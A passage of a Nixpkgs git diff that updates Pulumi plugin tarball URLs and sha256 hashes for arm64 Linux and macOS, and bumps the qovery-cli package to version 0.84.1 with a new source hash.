"https://api.pulumi.com/releases/plugins/pulumi-resource-azuredevops-v2.15.0-linux-arm64.tar.gz"; + sha256 = "1fcpf2x9dlxk2s06pgvqwsmjpwlv47q666xpj6cmx9cybmnhgjn4"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-azure-v5.58.0-linux-arm64.tar.gz"; - sha256 = "0yfsci2jc0az4n4mkr0wfd6npzxqw1mkci09wagrs7wibwb4wx5d"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-azure-v5.67.1-linux-arm64.tar.gz"; + sha256 = "1vzfdagcqm5im4zn7dlqhmz0wjk8aq59yplzqfif411g09zhnr6j"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-cloudflare-v5.16.0-linux-arm64.tar.gz"; - sha256 = "1iq7phnx0sz539vgsc6j6md6djw7rdnywfmlbjrc6f31fsx2v0ln"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-cloudflare-v5.21.0-linux-arm64.tar.gz"; + sha256 = "1chl850k1p8qpxydwkcqrx9s6xq50v616yfmrb7xrk9ms3zxf905"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-consul-v3.11.0-linux-arm64.tar.gz"; - sha256 = "1x92ls4p3l44p276rdgy1dxf5qy29ssw3zgjajf6jlfimgp8746f"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-consul-v3.11.1-linux-arm64.tar.gz"; + sha256 = "0jranh92131jny1s261flc19a30rgc0hf0xkz0k51cs713k3h6pn"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-datadog-v4.23.0-linux-arm64.tar.gz"; - sha256 = "1h7yh118iqr0bdkkagf3m0yxnphz5na7vyqqmzs7d9y9kcgfg8gi"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-datadog-v4.25.1-linux-arm64.tar.gz"; + sha256 = "0hmda8dhak4d5kbw30acbdhn1nczjjwpn3m99rcjjrmnvfirpqdl"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-digitalocean-v4.24.0-linux-arm64.tar.gz"; - sha256 = "10dvhbv5l1wwb6r7c9aiy0pqpwsj2s8s6gdyabvqm8hcza37jlnd"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-digitalocean-v4.25.2-linux-arm64.tar.gz"; + sha256 = "1qsi84xbb9f10bb11x2hvslfx2knw1pnd06k5kdx924vq71igfbj"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-docker-v4.5.0-linux-arm64.tar.gz"; - sha256 = "0447lckkgq6vs8a2ra4wi86yir8w61mm41ahp9nn6xxmnsqrn3jm"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-docker-v4.5.1-linux-arm64.tar.gz"; + sha256 = "11qk7sgwm2pn906nimj3zn0wlskvn5356zqfchrww9f9xxrnqg1k"; } { url = "https://api.pulumi.com/releases/plugins/pulumi-resource-equinix-metal-v3.2.1-linux-arm64.tar.gz"; sha256 = "111pia2f5xwkwaqs6p90ri29l5b3ivmahsa1bji4fwyyjyp22h4r"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-fastly-v8.4.1-linux-arm64.tar.gz"; - sha256 = "11dfjx05inx1fdknzli0q7gma4hc1217jmfn4bx9ky635nqh5ckq"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-fastly-v8.4.2-linux-arm64.tar.gz"; + sha256 = "1kf88g5jm3xr5b35is8h0rqxzy79az3s90givsnr7x6xmm6favqc"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-gcp-v7.2.1-linux-arm64.tar.gz"; - sha256 = "00b9b6zpkd88j5vsfff1q3q5wna22h2jvfhri6kap372whvdbpac"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-gcp-v7.11.2-linux-arm64.tar.gz"; + sha256 = "0dp11yirgfr45pqbqva5zapcgzb7gsf53al389dnr00cizfihn1r"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-github-v5.22.0-linux-arm64.tar.gz"; - sha256 = "0gwdlk1m4f91fbqnlv3jb83fi66nay261180nr72bk4hc9757y8i"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-github-v6.0.0-linux-arm64.tar.gz"; + sha256 = "1nlrwp4rhyp04lzqgxh8gam7vz5ivb4ynznzwirjxf2x48grk834"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-gitlab-v6.6.0-linux-arm64.tar.gz"; - sha256 = "14dk14j27kbjbda02x62621kjfvr6g2fc65cxdgcl0qb662fms2x"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-gitlab-v6.9.0-linux-arm64.tar.gz"; + sha256 = "186fjml7qwcw2rxgpw8ybazai6xsa574syd4xzg3y8p2sdv76018"; } { url = "https://api.pulumi.com/releases/plugins/pulumi-resource-google-native-v0.32.0-linux-arm64.tar.gz"; sha256 = "0d8m2krbzxjhfm82dgf8p4vm3kk9gk98l798q4ayjrddqqb4mxq4"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-hcloud-v1.16.2-linux-arm64.tar.gz"; - sha256 = "1z67c7jwfs2z2hi0fqsxzsb426iv82n9sv3ik6smhq2agcxlaas2"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-hcloud-v1.17.0-linux-arm64.tar.gz"; + sha256 = "1shra5wq8zx4l9b3sp6yklhi8hbd8r2ypay9nf4jgwnc6ppql102"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-kubernetes-v4.5.5-linux-arm64.tar.gz"; - sha256 = "0mxw0f756b4p0far801vwpsw2md0pph33bsh5xij5is5c1kiqwjr"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-kubernetes-v4.8.1-linux-arm64.tar.gz"; + sha256 = "10kk7m7nisd75nb0f689ldfprx56asxfsc785gsnssjjjhy40vvr"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-linode-v4.9.0-linux-arm64.tar.gz"; - sha256 = "0s1gk18fszs6vwy3kwask0vsyykvxwwgigml1va67i9w0bqp199l"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-linode-v4.15.0-linux-arm64.tar.gz"; + sha256 = "1alll2yq4h7qb2zc4n9pj9rvqv8mv5v9jrxgnrsw7mha3cnjysa4"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-mailgun-v3.5.0-linux-arm64.tar.gz"; - sha256 = "1f1q34hc6bnqq60llm6gvwmkmvgh24hnxys4hwk79l11ryy5d6cz"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-mailgun-v3.5.1-linux-arm64.tar.gz"; + sha256 = "1cz4xvvdj0kr63a2x21zbjm4viw92k2920ljnqsfv2wr2f03yk6s"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-mysql-v3.2.0-linux-arm64.tar.gz"; - sha256 = "0zns8xk4y992mp354lkp6ff96d4gifsw9cxkg0jla02lpaz2fiyn"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-mysql-v3.2.3-linux-arm64.tar.gz"; + sha256 = "1czrp700a4sdlxij8xgsl595fzg1s0k3pwnrwa2bl41xws9p65zy"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-openstack-v3.14.0-linux-arm64.tar.gz"; - sha256 = "0rpgr4ngw6ja6xlfwak8mvx3zbqhbzg474lm8sl5mx80z66r8zlj"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-openstack-v3.15.1-linux-arm64.tar.gz"; + sha256 = "17gbazfqs1f2m0h9awwqw14amxlxvl3zwhx3nbzh86my7gn3kjmv"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-postgresql-v3.10.0-linux-arm64.tar.gz"; - sha256 = "0w353wxg947rp7qf47z45glx8qfrxikmk4r6id5bqk03nx1fs4wd"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-postgresql-v3.11.0-linux-arm64.tar.gz"; + sha256 = "0mrfh9mr825gj0gizviwihym8gisnx49lq1sff4128jgsfaq2snv"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-random-v4.14.0-linux-arm64.tar.gz"; - sha256 = "18wkr5sfa9v8b9b4c3hdgnq8wd8qpykcyqbcmiypykj8y954hxjk"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-random-v4.16.0-linux-arm64.tar.gz"; + sha256 = "0fp9z7mfpprs4680s350wyys6a0jwx4s455jqr938zxnx8s3rhfg"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-snowflake-v0.41.0-linux-arm64.tar.gz"; - sha256 = "0j4qhlxkpxr7j4s76vkkqxwhjb9b4kvdn19wcd83j2ybxlz698zw"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-snowflake-v0.49.0-linux-arm64.tar.gz"; + sha256 = "04khh89lbdk6dv5vx26sl56cmydkh21mb5nx39hw1bry98qbz7ks"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-spotinst-v3.60.0-linux-arm64.tar.gz"; - sha256 = "0p2wlfs2lwwiz0az4kdb2jpaswn8z8yrv2mwk1hhcjn7g8xyn5zc"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-spotinst-v3.68.0-linux-arm64.tar.gz"; + sha256 = "1nwm69fblmll2d3hgnl5d98x1xhjl49l5cdc8smldr25i5zp5zj2"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-sumologic-v0.20.0-linux-arm64.tar.gz"; - sha256 = "1pzkcm9nw8q8i440lc3xgpg9l5qrkxf1x22y7llvm5k0z1vv5rpq"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-sumologic-v0.20.2-linux-arm64.tar.gz"; + sha256 = "0m07iydqlampsx2zdgliyqa5h1zwj42p865anak37i59j1cx7ash"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-tailscale-v0.13.3-linux-arm64.tar.gz"; - sha256 = "1hyff2mkpkkbg8li0kblqmb17xcjql77wly33fjph6gw66wymnqb"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-tailscale-v0.15.0-linux-arm64.tar.gz"; + sha256 = "12b7k1d3jl2s6lg5izr38yaf8n1k7hd76pdy1d09wrv5l2hbn8zh"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-tls-v4.11.1-linux-arm64.tar.gz"; - sha256 = "1zizrk7chxjda8lpkgrvs40f3il2z7xl79fcslq129adhqj2af3k"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-tls-v5.0.1-linux-arm64.tar.gz"; + sha256 = "17aqa1hy8ca0kdc6kljb76zk6fhxbh57v2k4jshj3jcgv6p4b4dg"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-vault-v5.17.0-linux-arm64.tar.gz"; - sha256 = "1g5k564z33dr09yqzk5a2g2wblszrbh8hc6gp1a8g0vynq7a9f6r"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-vault-v5.20.0-linux-arm64.tar.gz"; + sha256 = "0irp9vqikmmgcgzkca2z9nnak8ih73bbhs5576sf7y4132f4wvjj"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-venafi-v1.6.2-linux-arm64.tar.gz"; - sha256 = "0gx4n9palj6yana77hs3aiv96ck4vzvnqblb1h7h9z1jfmdl7m01"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-venafi-v1.7.0-linux-arm64.tar.gz"; + sha256 = "017ff9x7s4yvsrf4ypsyaz934r9jm954080gn5535w1694k96wbn"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-vsphere-v4.9.0-linux-arm64.tar.gz"; - sha256 = "1pkkm24f4n6qd5hsgb6ayv38jfs6k77mb3xcvdzsy3bmynxn7662"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-vsphere-v4.9.2-linux-arm64.tar.gz"; + sha256 = "0q958skqldk5gfd863vizpndls5w18k256v21a0i7hw6cg2ny0qj"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-wavefront-v3.0.4-linux-arm64.tar.gz"; - sha256 = "1ih335b7pdjxqvyabhlf9dxabri5w1kjf2x4c310rjglzvyvavr2"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-wavefront-v3.1.0-linux-arm64.tar.gz"; + sha256 = "07pjnqsrznxi8phm1i1bhkdsc1639q4kkbz9a5zzkgb0rs02jzzl"; } { url = "https://api.pulumi.com/releases/plugins/pulumi-resource-yandex-v0.13.0-linux-arm64.tar.gz"; @@ -479,156 +479,156 @@ ]; aarch64-darwin = [ { - url = "https://get.pulumi.com/releases/sdk/pulumi-v3.95.0-darwin-arm64.tar.gz"; - sha256 = "0k09shsrpzi378xfqggx532szq35w67nja91ysljm8w5q8f1s06a"; + url = "https://get.pulumi.com/releases/sdk/pulumi-v3.108.1-darwin-arm64.tar.gz"; + sha256 = "13qyf4cg3ksflx1ax5pzn1a75r9zk89a41ywp08s7vfacmmvm6ym"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-aiven-v6.7.2-darwin-arm64.tar.gz"; - sha256 = "125l81hghfkj4k4ygspv6fmifrqpn0r14c8pr85fkkninsp71jip"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-aiven-v6.12.0-darwin-arm64.tar.gz"; + sha256 = "0y1nc5cgqpjwssprdjh9d1q07j9d3b3vgafbmc7jgd81hybwid1h"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-akamai-v6.3.1-darwin-arm64.tar.gz"; - sha256 = "1lz73k8v5iixivydvfrwr239sw6i5qx4h7qkd0l3hvbih3v97v6a"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-akamai-v6.4.0-darwin-arm64.tar.gz"; + sha256 = "1b47n69nc5nicagwdxq793a6nmbrg15690i8q40nixcf7k48krai"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-alicloud-v3.45.0-darwin-arm64.tar.gz"; - sha256 = "1dqs6ygjpah10g47k4d3ms2cin5k76c2kbzgg86ipar3gcyn2lx9"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-alicloud-v3.49.1-darwin-arm64.tar.gz"; + sha256 = "0vwpr8fawr8gag8nrsi0dl4vw0dczqa4rm5dflgf2v5gfdhclsd6"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-artifactory-v5.5.0-darwin-arm64.tar.gz"; - sha256 = "0f3nd7sy17sg522lxsc5ypsqpk8allw0wvzw7i6vc5781xa40xqi"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-artifactory-v6.1.4-darwin-arm64.tar.gz"; + sha256 = "09fshawmwiiphp6dfaa65g2lcixghb0xfh8pl1xjrdp2851268qr"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-auth0-v3.1.0-darwin-arm64.tar.gz"; - sha256 = "02hlp97294ds7cpj775lks5w05hxwv644y8v9pil5y6n2xllkrqg"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-auth0-v3.1.2-darwin-arm64.tar.gz"; + sha256 = "17d3p29w4hd5lrpgmf9j17fwy4vx1cr84nlfci3rvfzzih1x62yl"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-aws-v6.13.0-darwin-arm64.tar.gz"; - sha256 = "042hqdj5j8ib1l9r0h62m2x79x2iglz2fnvw6007absn6vi3qhsq"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-aws-v6.24.0-darwin-arm64.tar.gz"; + sha256 = "1i9z6ifhz0han1wmjm6f3ywm6jqbfgaq1xrwf8vq9yph54is0ysq"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-azuread-v5.46.0-darwin-arm64.tar.gz"; - sha256 = "0l0g5qgv5f6q0fij8mkvawdkm7h3wfqcg6mfskw6s0kwbmrbavpj"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-azuread-v5.47.2-darwin-arm64.tar.gz"; + sha256 = "1zj37idg91anzx0hd6y2mshgl0bxc9ysfd4prgvj4drf92gwrx4g"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-azuredevops-v2.14.0-darwin-arm64.tar.gz"; - sha256 = "0asaq5gg22jgq5x2bn89m9qn3jm7cmdhkypdl5barkmccvsbpfg0"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-azuredevops-v2.15.0-darwin-arm64.tar.gz"; + sha256 = "1c7ycicwszn9fsaw81rn88kgm7b5i0hp9sxp92qxfn649x742c45"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-azure-v5.58.0-darwin-arm64.tar.gz"; - sha256 = "0rmgha9nxabkdb7z3asi16zbslz69jxchlw2awjsv0dq1nyn4pvq"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-azure-v5.67.1-darwin-arm64.tar.gz"; + sha256 = "0id3w5wsapr5jh879qmglymbjzhl2r0w6kjahm1zzwvlqc3vg66w"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-cloudflare-v5.16.0-darwin-arm64.tar.gz"; - sha256 = "0zi7zzn7kpvmjfmaviyf1bzzrlilbgkz6dcm4fqa73qcbm1rq515"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-cloudflare-v5.21.0-darwin-arm64.tar.gz"; + sha256 = "056klbsdfcspfm74a2cfrxblyq9lml8v07ffgcqds61b6zyx2v73"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-consul-v3.11.0-darwin-arm64.tar.gz"; - sha256 = "0qz4cqxvwn5wzq3wh5cfwxh0ch22p7wi2wcvjgymlar6q57flk75"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-consul-v3.11.1-darwin-arm64.tar.gz"; + sha256 = "19wi1jq077da10c1z2z4rzw0x7rjdv77fk9djzk627w75bha1xac"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-datadog-v4.23.0-darwin-arm64.tar.gz"; - sha256 = "066w46l9dv02pnq59h632w1f7sjj8qqh6867cb33bbh6if681fpa"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-datadog-v4.25.1-darwin-arm64.tar.gz"; + sha256 = "1llxhfcx8b16bvynx6bb509r94iqyvkiz261939d6alx4g0sfvpr"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-digitalocean-v4.24.0-darwin-arm64.tar.gz"; - sha256 = "1x579nqa93yi68zwq0ax6a3rs06bxfqh5snfiiwflp5x68yvbnl0"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-digitalocean-v4.25.2-darwin-arm64.tar.gz"; + sha256 = "0wq2cs9nabd8rzr9pvz14f5lpfdk4kv6c81fb95z0vz32w09az49"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-docker-v4.5.0-darwin-arm64.tar.gz"; - sha256 = "0z2s6yy3m871p5zhvcvgb7v7v51mr1y0msm71pqbqr9jj6mdlvpj"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-docker-v4.5.1-darwin-arm64.tar.gz"; + sha256 = "17pdc068n81savb6ccmmjgbl1mla9asa59q2iz7clggxw6rsiv26"; } { url = "https://api.pulumi.com/releases/plugins/pulumi-resource-equinix-metal-v3.2.1-darwin-arm64.tar.gz"; sha256 = "12bzicm43l7yvh02v5fx3z8v46l9i7a9f677735xi5rjbmd2an4c"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-fastly-v8.4.1-darwin-arm64.tar.gz"; - sha256 = "16m568zmhfh9y0ynjs789yiawn22r23i1zz9xsrq1kfx8raq94an"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-fastly-v8.4.2-darwin-arm64.tar.gz"; + sha256 = "1pd2x157ljb8rgm1mawqvqb39n0101450syr43z1qjmhgws7gz74"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-gcp-v7.2.1-darwin-arm64.tar.gz"; - sha256 = "14ar812kqjccam04wyzzn46620vp4fym70fq1qzdawh7a5njzdab"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-gcp-v7.11.2-darwin-arm64.tar.gz"; + sha256 = "03njrkmia42i0sg6qp76n8ymch4jaql4lkx0ixiscdwzgbx4v03m"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-github-v5.22.0-darwin-arm64.tar.gz"; - sha256 = "04svj7zrhwfy5hjccy2dn4a5il793fncj0b83bvkrvh4qcs8c8as"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-github-v6.0.0-darwin-arm64.tar.gz"; + sha256 = "0wphd50a3rxzn9c2fqrhcmdlh7804jkmjjp2rcp6w1cxs5wmlnfn"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-gitlab-v6.6.0-darwin-arm64.tar.gz"; - sha256 = "0dwx5bkp7n7jjikk1nr55brma4dg0gldpf7mfwc62dzc36lgfyny"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-gitlab-v6.9.0-darwin-arm64.tar.gz"; + sha256 = "04n5x1l8fnswdpmr3hc9g71cq2cp14ga4k8438py0kk6askaxxm2"; } { url = "https://api.pulumi.com/releases/plugins/pulumi-resource-google-native-v0.32.0-darwin-arm64.tar.gz"; sha256 = "0caz4kgnnrmdr7n571xc7yqscac9jnjwwpjzbnvx4ib6a91wvsdn"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-hcloud-v1.16.2-darwin-arm64.tar.gz"; - sha256 = "0i0lhxzvxvgi695x9g1nnqrzlipsydjsc3xz8zd7n9438pav3cmc"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-hcloud-v1.17.0-darwin-arm64.tar.gz"; + sha256 = "19zhkq9lppjj41ddhbk2fi5xrmmbgyk38mlzvkqfly9lwgbc18v3"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-kubernetes-v4.5.5-darwin-arm64.tar.gz"; - sha256 = "09r89pxzk18pb65vd47bp31sbilgbpbp7j3a30b39lfff3larwd5"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-kubernetes-v4.8.1-darwin-arm64.tar.gz"; + sha256 = "0sq72v8hshx4kwbzsp9dyg26p21cwz8y7dh5msaqlxwsqmsw62pc"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-linode-v4.9.0-darwin-arm64.tar.gz"; - sha256 = "0qj26bd23qgz8pibsvhsb1gzlk96jh2hkh3l9s23jvlvbxd53hql"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-linode-v4.15.0-darwin-arm64.tar.gz"; + sha256 = "07wf92lhbjzxifdvzjss6hmphdllclzj3b7k7nda03pv90awsh79"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-mailgun-v3.5.0-darwin-arm64.tar.gz"; - sha256 = "0nx02c9fkfrdmgf9jmlhb0h4whqgx8bw4snhz4m9chxygknyg2s2"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-mailgun-v3.5.1-darwin-arm64.tar.gz"; + sha256 = "1d90jmcm98nlagaqlnjk8kz5dn35yp682rxkps5w0m2x2k48hqxm"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-mysql-v3.2.0-darwin-arm64.tar.gz"; - sha256 = "0zpj3qcavx9hby54lbx81sh6fw7gsfjb94jh7xi49n937gra3snc"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-mysql-v3.2.3-darwin-arm64.tar.gz"; + sha256 = "1ss909lscg6diphzpgxkm2gylvj0nkyf4jzp422m94g6xcinfwhy"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-openstack-v3.14.0-darwin-arm64.tar.gz"; - sha256 = "0vq8xvx55avph8fr1jykmilivxpmc8zvckmsia1ammqg867ivrlj"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-openstack-v3.15.1-darwin-arm64.tar.gz"; + sha256 = "0dqvgmcpvv3h86licnmlswlj2dklj2sqr02wyc10srw8gddvysx5"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-postgresql-v3.10.0-darwin-arm64.tar.gz"; - sha256 = "1bb9a3ppiyd4jrna2z7zdngvlps870r3zhr54b1xzbap1vhdbjhd"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-postgresql-v3.11.0-darwin-arm64.tar.gz"; + sha256 = "0xx8mphabl1vvmmyb5ramlf6zvd32lx46f6hlmihh76zfajhc5ci"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-random-v4.14.0-darwin-arm64.tar.gz"; - sha256 = "08llqzf509ds0nbcllpq5k3zl6l656yxx0bx0z9pibd9iwzjy3wj"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-random-v4.16.0-darwin-arm64.tar.gz"; + sha256 = "15zxfi82jqja0xzryb74pvcxnrbn6axrs98j463z248b5fbwc7b8"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-snowflake-v0.41.0-darwin-arm64.tar.gz"; - sha256 = "1z3sc1ihwn3g02mwm99shizdzfgzsqxivmkwmw5p5r2gxaflz1gh"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-snowflake-v0.49.0-darwin-arm64.tar.gz"; + sha256 = "1ncapql0a48p86bvj9p25575va0zcqcdqw2apl4npm7vjn0gq2s1"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-spotinst-v3.60.0-darwin-arm64.tar.gz"; - sha256 = "15cn9gfc957zalmwl3xxjrpyxh50gkdkzph31akwfw1lil1y6ws5"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-spotinst-v3.68.0-darwin-arm64.tar.gz"; + sha256 = "120acxnm1lid5spszv8i4vgnk732fch8j3i2qhrdd3k2p86z0a1n"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-sumologic-v0.20.0-darwin-arm64.tar.gz"; - sha256 = "1h4q8s8bzs2w8b0hvlaw9awa0m3kzw22z38avaryv85n4jvq6zn2"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-sumologic-v0.20.2-darwin-arm64.tar.gz"; + sha256 = "041zjnywmpxa302igaszj0hd6k4qb455i2c0452rlfh9kj7k2sa5"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-tailscale-v0.13.3-darwin-arm64.tar.gz"; - sha256 = "0cq1cvvmfki8v0861ylckpchlm5xzshirixz95d7kvdchr6j4ds7"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-tailscale-v0.15.0-darwin-arm64.tar.gz"; + sha256 = "1mrjn3g55h77rjni6v2v0hz4csclfiy2wdx7gllnwbpgfcchlqr2"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-tls-v4.11.1-darwin-arm64.tar.gz"; - sha256 = "0sfbb1m874p04n2qg5w9502r1s2gxdd3lbn9k6xqzdcqi0991vrw"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-tls-v5.0.1-darwin-arm64.tar.gz"; + sha256 = "0x01k5sjmy9365pwi6gqhvw5jr6ansg5zj0anl869dyaag4kgzks"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-vault-v5.17.0-darwin-arm64.tar.gz"; - sha256 = "0wcahzjwlbzbv94yv10wmvsppjcvax0d57qk4xpfrdig6lj50mms"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-vault-v5.20.0-darwin-arm64.tar.gz"; + sha256 = "0aidg913j23b7i018yqwgz1pcssgyrvyfhlwh0jbdxay66v8cdi9"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-venafi-v1.6.2-darwin-arm64.tar.gz"; - sha256 = "0xlxx5i1ph57vn5q00hv8s0d5vj5jy3hrrkm7qvmjf47d7flqqv8"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-venafi-v1.7.0-darwin-arm64.tar.gz"; + sha256 = "00qq53wirdjm8zqqisad34fzx70m96dwg0dqysz6nqikq620h7dp"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-vsphere-v4.9.0-darwin-arm64.tar.gz"; - sha256 = "039lsilaazm80p07l08skcmplz45qpiq122rnscc25cwkjnmv0lg"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-vsphere-v4.9.2-darwin-arm64.tar.gz"; + sha256 = "0ymxbs8ql90mnqd1yjd7yss6q7pr39i4l5znzai7sixdvcmk53l8"; } { - url = "https://api.pulumi.com/releases/plugins/pulumi-resource-wavefront-v3.0.4-darwin-arm64.tar.gz"; - sha256 = "14plg6hinzcn1mnmfzpnl8b63j7zj7bkvy4fil1c3iscqj803ci6"; + url = "https://api.pulumi.com/releases/plugins/pulumi-resource-wavefront-v3.1.0-darwin-arm64.tar.gz"; + sha256 = "0vxkhdf5wz7plq86qy27qwx73jp88ddl41m4iz0h64isrmdrz466"; } { url = "https://api.pulumi.com/releases/plugins/pulumi-resource-yandex-v0.13.0-darwin-arm64.tar.gz"; diff --git a/pkgs/tools/admin/qovery-cli/default.nix b/pkgs/tools/admin/qovery-cli/default.nix index 0f75e16797c15..8db9f115c4d8a 100644 --- a/pkgs/tools/admin/qovery-cli/default.nix +++ b/pkgs/tools/admin/qovery-cli/default.nix @@ -8,13 +8,13 @@ buildGoModule rec { pname = "qovery-cli"; - version = "0.84.0"; + version = "0.84.1"; src = fetchFromGitHub { owner = "Qovery"; repo = "qovery-cli"; rev = "refs/tags/v${version}"; - hash = "sha256-2cG/aG1WXNmXqoJ+N2vmq2SBfIeCI1hac8y2vLy7Dyk="; + hash = "sha256-Dq62LXa0hZrpfQ7WQuCelLxWS7Lhn6SH61cNTsYI/mw="; }; vendorHash = "sha256-XG0dOEpu+NoQmklsukxev1gc2OsZc7fLEkv0AGwkh7o="; @@ -41,5 +41,6 @@ buildGoModule rec { changelog = "https://github.com/Qovery/qovery-cli/releases/tag/v${version}"; license = with licenses; [ asl20 ]; maintainers = with maintainers; [ fab ]; + mainProgram = "qovery-cli"; }; } diff --git a/pkgs/tools/admin/realvnc-vnc-viewer/default.nix 